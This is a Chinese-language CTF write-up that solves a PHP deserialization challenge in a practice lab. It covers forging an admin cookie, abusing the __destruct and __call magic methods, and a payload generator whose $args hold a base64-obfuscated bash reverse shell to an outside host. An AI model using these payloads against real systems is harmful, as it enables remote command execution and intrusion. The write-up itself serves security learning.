跳转至

每日一题 —— [HZNUCTF 2023 preliminary]ppppop

题目地址:https://www.nssctf.cn/problem/3615

打开题目是一片空白页,在确认了这空白页就是题目所给的信息后,我们就尝试利用 dirsearch 扫描,但是并没有什么有用的结果。于是我们就查看题目除了没有发回 html 源代码,还有没有发回别的东西。于是我们就查看 "网络" 选项卡,发现了它有 set-cookie 一项,细看是一个 base64 编码的字符串。经过解码后发现是一个 php 对象的序列化字符串,属性只有一个 is-admin,并且值为 false,也就是 b:0。我们把这个 0 改为 1, 然后 base64 编码之后重新作为我们发送的 cookie 值。重新发送后,就发现我们看到了 index.php 的源代码了。

观察代码,有两个类,一个是 A,一个是 B。其中 A 类有 __destruct 方法,也就是可以作为反序列化的入口类。B 类有一个 __call 方法,其中方法的实现非常简单,就是直接把调用 B 类的类方法直接转为公有的函数。也就是说你直接调用 B->eval() 就相当于调用了 eval() 函数。

这里直接给出我的 payload:

<?php
class A {
    public $className = 'B';
    public $funcName = 'system';
    public $args = 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=" | base64 -d | bash';

}

$a = new A();
$b =urlencode(base64_encode(strrev(serialize($a))));
echo $b;
这个 payload 的作用主要是反弹 shell, 因为我翻了半天也没有找到 flag 文件。当然在已知结果往回推的情况下,我们可以直接把 $args 那个属性直接写上 env 就可以。因为 flag 就在 FLAG 环境变量里。

最终 payload:

POST:
payload=fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw%3D%3D


文章热度:0次阅读